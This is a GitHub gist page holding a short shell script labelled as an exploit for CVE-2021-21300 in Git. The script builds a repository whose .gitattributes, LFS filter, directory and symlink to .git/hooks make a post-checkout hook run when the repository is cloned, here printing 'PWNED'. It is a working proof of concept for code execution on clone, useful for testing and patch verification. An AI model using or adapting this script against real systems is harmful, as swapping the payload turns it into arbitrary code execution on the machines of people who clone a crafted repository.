Skip to content

Instantly share code, notes, and snippets.

@halamaitah3
Forked from juliosmelo/CVE-2021-21300-exploit
Created October 23, 2023 15:02
Show Gist options
  • Save halamaitah3/1be156b081edfba53138d2847432a13d to your computer and use it in GitHub Desktop.
Save halamaitah3/1be156b081edfba53138d2847432a13d to your computer and use it in GitHub Desktop.
#!/bin/sh
git init delayed-checkout &&
(
cd delayed-checkout &&
echo "A/post-checkout filter=lfs diff=lfs merge=lfs" \
>.gitattributes &&
mkdir A &&
printf '#!/bin/sh\n\necho PWNED >&2\n' >A/post-checkout &&
chmod +x A/post-checkout &&
>A/a &&
>A/b &&
git add -A &&
rm -rf A &&
ln -s .git/hooks a &&
git add a &&
git commit -m initial
) &&
git clone delayed-checkout cloned
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment